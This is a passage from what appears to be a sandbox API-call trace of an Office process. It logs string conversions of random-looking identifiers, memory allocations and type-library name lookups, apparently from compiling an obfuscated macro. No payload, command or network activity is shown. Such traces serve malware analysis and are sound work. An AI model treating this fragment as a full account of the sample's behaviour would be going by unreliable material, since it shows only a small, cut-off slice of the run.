dwFlags=0x0, lpMultiByteStr=0xbb76f86, cbMultiByte=10, lpWideCharStr=0xd0a3526, cchWideChar=22 | out: lpWideCharStr="wsqWhKEWTV") returned 10 [0018.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76f9a, cbMultiByte=10, lpWideCharStr=0xd0a36d0, cchWideChar=22 | out: lpWideCharStr="juIAUjskJH") returned 10 [0018.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76fae, cbMultiByte=10, lpWideCharStr=0xd0a387a, cchWideChar=22 | out: lpWideCharStr="twnCaVuTwA") returned 10 [0018.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76fc2, cbMultiByte=10, lpWideCharStr=0xd0a3a24, cchWideChar=22 | out: lpWideCharStr="SFlqouZWCZ") returned 10 [0018.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76fd6, cbMultiByte=10, lpWideCharStr=0xd0a3bce, cchWideChar=22 | out: lpWideCharStr="thHDEREBRc") returned 10 [0018.930] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd0b0000 [0018.931] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="BiAfhzE") returned 0x108638 [0018.931] strcpy_s (in: _Dst=0x305060, _DstSize=0x8, _Src="BiAfhzE" | out: _Dst="BiAfhzE") returned 0x0 [0018.931] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=8, lpWideCharStr=0x304eb0, cchWideChar=8 | out: lpWideCharStr="BiAfhzE") returned 8 [0018.931] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.931] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="BiAfhzE", lHashVal=0x108638, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.931] IUnknown:Release (This=0x7919520) returned 0x10 [0018.931] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.931] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="BiAfhzE", lHashVal=0x108638, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.931] IUnknown:Release (This=0x7346470) returned 0xb [0018.931] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.931] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="BiAfhzE", lHashVal=0x108638, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.931] IUnknown:Release (This=0x7345930) returned 0x7 [0018.931] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.931] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="BiAfhzE", lHashVal=0x108638, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.931] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.931] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x79720e0 [0018.931] strcpy_s (in: _Dst=0x305210, _DstSize=0xf, _Src="_B_var_BiAfhzE" | out: _Dst="_B_var_BiAfhzE") returned 0x0 [0018.931] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=15, lpWideCharStr=0x305060, cchWideChar=15 | out: lpWideCharStr="_B_var_BiAfhzE") returned 15 [0018.931] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.931] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_BiAfhzE", lHashVal=0x1089bc, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.931] IUnknown:Release (This=0x7919520) returned 0x10 [0018.931] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.931] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_BiAfhzE", lHashVal=0x1089bc, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.931] IUnknown:Release (This=0x7346470) returned 0xb [0018.931] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.932] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_BiAfhzE", lHashVal=0x1089bc, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.932] IUnknown:Release (This=0x7345930) returned 0x7 [0018.932] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.932] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_BiAfhzE", lHashVal=0x1089bc, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.932] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.932] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.932] IUnknown:Release (This=0x7919520) returned 0x10 [0018.932] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76ff4, cbMultiByte=10, lpWideCharStr=0xd0b205c, cchWideChar=22 | out: lpWideCharStr="BAjXziDLzc") returned 10 [0018.932] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7700e, cbMultiByte=10, lpWideCharStr=0xd0b24a6, cchWideChar=22 | out: lpWideCharStr="wRfLiUvmul") returned 10 [0018.932] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77022, cbMultiByte=10, lpWideCharStr=0xd0b2650, cchWideChar=22 | out: lpWideCharStr="YHzPqCpSFB") returned 10 [0018.932] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77036, cbMultiByte=10, lpWideCharStr=0xd0b27fa, cchWideChar=22 | out: lpWideCharStr="FcAPIKlSoR") returned 10 [0018.932] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7704a, cbMultiByte=10, lpWideCharStr=0xd0b29a4, cchWideChar=22 | out: lpWideCharStr="TYDMpSblrQ") returned 10 [0018.932] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7705e, cbMultiByte=10, lpWideCharStr=0xd0b2b4e, cchWideChar=22 | out: lpWideCharStr="ZJwpitAUjz") returned 10 [0018.932] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77072, cbMultiByte=10, lpWideCharStr=0xd0b2cf8, cchWideChar=22 | out: lpWideCharStr="pkFwXURPDU") returned 10 [0018.932] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77086, cbMultiByte=10, lpWideCharStr=0xd0b2ea2, cchWideChar=22 | out: lpWideCharStr="jczcRAEnaY") returned 10 [0018.933] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd0c0000 [0018.934] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ioDrFbmn") returned 0x10bfb9 [0018.934] strcpy_s (in: _Dst=0x305060, _DstSize=0x9, _Src="ioDrFbmn" | out: _Dst="ioDrFbmn") returned 0x0 [0018.934] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=9, lpWideCharStr=0x304eb0, cchWideChar=9 | out: lpWideCharStr="ioDrFbmn") returned 9 [0018.934] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.934] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="ioDrFbmn", lHashVal=0x10bfb9, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.934] IUnknown:Release (This=0x7919520) returned 0x10 [0018.934] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.934] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="ioDrFbmn", lHashVal=0x10bfb9, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.934] IUnknown:Release (This=0x7346470) returned 0xb [0018.934] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.934] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="ioDrFbmn", lHashVal=0x10bfb9, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.934] IUnknown:Release (This=0x7345930) returned 0x7 [0018.934] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.934] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="ioDrFbmn", lHashVal=0x10bfb9, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.934] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.934] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x79720e0 [0018.934] strcpy_s (in: _Dst=0x305210, _DstSize=0x10, _Src="_B_var_ioDrFbmn" | out: _Dst="_B_var_ioDrFbmn") returned 0x0 [0018.934] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=16, lpWideCharStr=0x305060, cchWideChar=16 | out: lpWideCharStr="_B_var_ioDrFbmn") returned 16 [0018.934] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.934] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_ioDrFbmn", lHashVal=0x109742, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.934] IUnknown:Release (This=0x7919520) returned 0x10 [0018.934] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.934] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_ioDrFbmn", lHashVal=0x109742, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.934] IUnknown:Release (This=0x7346470) returned 0xb [0018.934] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.934] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_ioDrFbmn", lHashVal=0x109742, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.934] IUnknown:Release (This=0x7345930) returned 0x7 [0018.934] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.934] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_ioDrFbmn", lHashVal=0x109742, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.934] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.934] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.934] IUnknown:Release (This=0x7919520) returned 0x10 [0018.934] IMalloc:Free (This=0x7fefe9e5380, pv=0x79720e0) [0018.934] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb770a4, cbMultiByte=30, lpWideCharStr=0xd0c133c, cchWideChar=62 | out: lpWideCharStr="FpGOUjjlVFFTmbOh YBLSkSlujlERi") returned 30 [0018.935] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VONBjPUzzj") returned 0x104ecb [0018.935] strcpy_s (in: _Dst=0x305060, _DstSize=0xb, _Src="VONBjPUzzj" | out: _Dst="VONBjPUzzj") returned 0x0 [0018.935] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=11, lpWideCharStr=0x304eb0, cchWideChar=11 | out: lpWideCharStr="VONBjPUzzj") returned 11 [0018.935] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.935] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="VONBjPUzzj", lHashVal=0x104ecb, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.935] IUnknown:Release (This=0x7919520) returned 0x10 [0018.935] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.935] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="VONBjPUzzj", lHashVal=0x104ecb, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.935] IUnknown:Release (This=0x7346470) returned 0xb [0018.935] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.935] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="VONBjPUzzj", lHashVal=0x104ecb, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.935] IUnknown:Release (This=0x7345930) returned 0x7 [0018.935] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.935] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="VONBjPUzzj", lHashVal=0x104ecb, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.935] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.935] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12) returned 0x79720e0 [0018.935] strcpy_s (in: _Dst=0x305210, _DstSize=0x12, _Src="_B_var_VONBjPUzzj" | out: _Dst="_B_var_VONBjPUzzj") returned 0x0 [0018.935] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=18, lpWideCharStr=0x305060, cchWideChar=18 | out: lpWideCharStr="_B_var_VONBjPUzzj") returned 18 [0018.935] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.935] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_VONBjPUzzj", lHashVal=0x10bd35, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.935] IUnknown:Release (This=0x7919520) returned 0x10 [0018.935] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.935] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_VONBjPUzzj", lHashVal=0x10bd35, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.935] IUnknown:Release (This=0x7346470) returned 0xb [0018.935] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.935] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_VONBjPUzzj", lHashVal=0x10bd35, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.935] IUnknown:Release (This=0x7345930) returned 0x7 [0018.935] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.935] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_VONBjPUzzj", lHashVal=0x10bd35, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.935] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.935] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.935] IUnknown:Release (This=0x7919520) returned 0x10 [0018.935] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb770dc, cbMultiByte=10, lpWideCharStr=0xd0c2096, cchWideChar=22 | out: lpWideCharStr="WCMkUzFowM") returned 10 [0018.935] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb770f6, cbMultiByte=10, lpWideCharStr=0xd0c24e0, cchWideChar=22 | out: lpWideCharStr="QlXSCdISLa") returned 10 [0018.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7710a, cbMultiByte=10, lpWideCharStr=0xd0c268a, cchWideChar=22 | out: lpWideCharStr="GVikOLpkwI") returned 10 [0018.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7711e, cbMultiByte=10, lpWideCharStr=0xd0c2834, cchWideChar=22 | out: lpWideCharStr="QtCVdQtBVp") returned 10 [0018.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77132, cbMultiByte=10, lpWideCharStr=0xd0c29de, cchWideChar=22 | out: lpWideCharStr="plapIHKpAa") returned 10 [0018.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77146, cbMultiByte=10, lpWideCharStr=0xd0c2b88, cchWideChar=22 | out: lpWideCharStr="JmpqWBUbVJ") returned 10 [0018.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7715a, cbMultiByte=10, lpWideCharStr=0xd0c2d32, cchWideChar=22 | out: lpWideCharStr="KUqnvXjCpl") returned 10 [0018.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7716e, cbMultiByte=10, lpWideCharStr=0xd0c2edc, cchWideChar=22 | out: lpWideCharStr="jGzWlVvsbG") returned 10 [0018.936] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd0d0000 [0018.937] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="jzOVwsw") returned 0x1095db [0018.937] strcpy_s (in: _Dst=0x305060, _DstSize=0x8, _Src="jzOVwsw" | out: _Dst="jzOVwsw") returned 0x0 [0018.937] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=8, lpWideCharStr=0x304eb0, cchWideChar=8 | out: lpWideCharStr="jzOVwsw") returned 8 [0018.937] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.937] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="jzOVwsw", lHashVal=0x1095db, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.937] IUnknown:Release (This=0x7919520) returned 0x10 [0018.937] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.937] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="jzOVwsw", lHashVal=0x1095db, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.937] IUnknown:Release (This=0x7346470) returned 0xb [0018.937] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.937] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="jzOVwsw", lHashVal=0x1095db, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.937] IUnknown:Release (This=0x7345930) returned 0x7 [0018.937] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.937] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="jzOVwsw", lHashVal=0x1095db, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.937] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.937] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x79720e0 [0018.937] strcpy_s (in: _Dst=0x305210, _DstSize=0xf, _Src="_B_var_jzOVwsw" | out: _Dst="_B_var_jzOVwsw") returned 0x0 [0018.937] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=15, lpWideCharStr=0x305060, cchWideChar=15 | out: lpWideCharStr="_B_var_jzOVwsw") returned 15 [0018.937] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.937] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_jzOVwsw", lHashVal=0x10995f, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.937] IUnknown:Release (This=0x7919520) returned 0x10 [0018.937] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.937] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_jzOVwsw", lHashVal=0x10995f, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.938] IUnknown:Release (This=0x7346470) returned 0xb [0018.938] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.938] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_jzOVwsw", lHashVal=0x10995f, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.938] IUnknown:Release (This=0x7345930) returned 0x7 [0018.938] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.938] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_jzOVwsw", lHashVal=0x10995f, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.938] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.938] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.938] IUnknown:Release (This=0x7919520) returned 0x10 [0018.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7718c, cbMultiByte=10, lpWideCharStr=0xd0d135c, cchWideChar=22 | out: lpWideCharStr="aEbobvdKhO") returned 10 [0018.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb771a6, cbMultiByte=10, lpWideCharStr=0xd0d17a6, cchWideChar=22 | out: lpWideCharStr="KQmqcjSEpV") returned 10 [0018.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb771ba, cbMultiByte=10, lpWideCharStr=0xd0d1950, cchWideChar=22 | out: lpWideCharStr="ALhXhwLVYh") returned 10 [0018.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb771ce, cbMultiByte=10, lpWideCharStr=0xd0d1afa, cchWideChar=22 | out: lpWideCharStr="pMuHWkJQWb") returned 10 [0018.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb771e2, cbMultiByte=10, lpWideCharStr=0xd0d1ca4, cchWideChar=22 | out: lpWideCharStr="qGipKSqGAi") returned 10 [0018.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb771f6, cbMultiByte=10, lpWideCharStr=0xd0d1e4e, cchWideChar=22 | out: lpWideCharStr="hzzEXPXDGi") returned 10 [0018.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7720a, cbMultiByte=10, lpWideCharStr=0xd0d1ff8, cchWideChar=22 | out: lpWideCharStr="jImzZzWiUr") returned 10 [0018.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7721e, cbMultiByte=10, lpWideCharStr=0xd0d21a2, cchWideChar=22 | out: lpWideCharStr="ZChNiudrMP") returned 10 [0018.939] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd0e0000 [0018.940] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="nBQrztXw") returned 0x10881c [0018.940] strcpy_s (in: _Dst=0x305060, _DstSize=0x9, _Src="nBQrztXw" | out: _Dst="nBQrztXw") returned 0x0 [0018.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=9, lpWideCharStr=0x304eb0, cchWideChar=9 | out: lpWideCharStr="nBQrztXw") returned 9 [0018.940] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.940] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="nBQrztXw", lHashVal=0x10881c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.940] IUnknown:Release (This=0x7919520) returned 0x10 [0018.940] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.940] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="nBQrztXw", lHashVal=0x10881c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.940] IUnknown:Release (This=0x7346470) returned 0xb [0018.940] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.940] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="nBQrztXw", lHashVal=0x10881c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.940] IUnknown:Release (This=0x7345930) returned 0x7 [0018.940] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.940] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="nBQrztXw", lHashVal=0x10881c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.940] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.940] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x79720e0 [0018.940] strcpy_s (in: _Dst=0x305210, _DstSize=0x10, _Src="_B_var_nBQrztXw" | out: _Dst="_B_var_nBQrztXw") returned 0x0 [0018.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=16, lpWideCharStr=0x305060, cchWideChar=16 | out: lpWideCharStr="_B_var_nBQrztXw") returned 16 [0018.940] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.940] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_nBQrztXw", lHashVal=0x105fa5, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.940] IUnknown:Release (This=0x7919520) returned 0x10 [0018.940] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.940] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_nBQrztXw", lHashVal=0x105fa5, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.940] IUnknown:Release (This=0x7346470) returned 0xb [0018.940] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.940] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_nBQrztXw", lHashVal=0x105fa5, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.940] IUnknown:Release (This=0x7345930) returned 0x7 [0018.940] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.940] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_nBQrztXw", lHashVal=0x105fa5, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.940] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.940] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.940] IUnknown:Release (This=0x7919520) returned 0x10 [0018.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7723c, cbMultiByte=10, lpWideCharStr=0xd0e061c, cchWideChar=22 | out: lpWideCharStr="ncOcEsErXd") returned 10 [0018.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77256, cbMultiByte=10, lpWideCharStr=0xd0e0a66, cchWideChar=22 | out: lpWideCharStr="McQdMDSosv") returned 10 [0018.941] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7726a, cbMultiByte=10, lpWideCharStr=0xd0e0c10, cchWideChar=22 | out: lpWideCharStr="FZVJDBKuUG") returned 10 [0018.941] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7727e, cbMultiByte=10, lpWideCharStr=0xd0e0dba, cchWideChar=22 | out: lpWideCharStr="dtjqiuQmCc") returned 10 [0018.941] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77292, cbMultiByte=10, lpWideCharStr=0xd0e0f64, cchWideChar=22 | out: lpWideCharStr="dWvpzRHGTc") returned 10 [0018.941] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb772a6, cbMultiByte=10, lpWideCharStr=0xd0e110e, cchWideChar=22 | out: lpWideCharStr="vcjkkNGEZC") returned 10 [0018.941] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb772ba, cbMultiByte=10, lpWideCharStr=0xd0e12b8, cchWideChar=22 | out: lpWideCharStr="iKXQATvZuS") returned 10 [0018.941] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb772ce, cbMultiByte=10, lpWideCharStr=0xd0e1462, cchWideChar=22 | out: lpWideCharStr="mjmQSidfJl") returned 10 [0018.941] LHashValOfNameSysA (syskind=0x3, 